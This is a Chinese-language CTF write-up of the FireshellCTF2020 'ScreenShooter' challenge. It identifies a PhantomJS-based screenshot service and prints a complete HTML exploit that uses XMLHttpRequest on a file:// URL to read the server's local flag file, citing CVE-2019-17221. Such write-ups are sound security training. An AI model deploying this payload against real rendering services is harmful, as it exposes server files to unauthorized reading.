刷题[FireshellCTF2020]ScreenShooter
(这几天拔牙了,有丝丝影响状态,更新可能有点慢)
今天看security search发现了之前碰上的一道题,具体在哪碰到的,不记得了。记录一下把
信息收集
如图所示,打开是一个screenshot,填入url,会对网页进行截图
所以我们需要检测该网页发送的http流量
流量检测
使用在线网站https://beeceptor.com/
该网站可以检查http请求,我们创建一个端点后,在网页内请求该端点,此网站捕获http流量如下图
在标题中我们可以清楚看到使用PhantomJS
Phantom JS是一个服务器端的 JavaScript API 的 WebKit。其支持各种Web标准: DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG
说白了就是一个爬虫,用来爬取网页
PhantomJS
搜索PhantomJS发现存在任意文件上传漏洞CVE-2019-17221
该漏洞通过file://URL的XMLHttpRequest触发
编写exp
编写html文件
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var karsa;
karsa = new XMLHttpRequest;
karsa.onload = function(){
document.write(this.responseText)
};
karsa.open("GET","file:///flag");
karsa.send();
</script>
</body>
</html>
放在自己vps上,请求,获得flag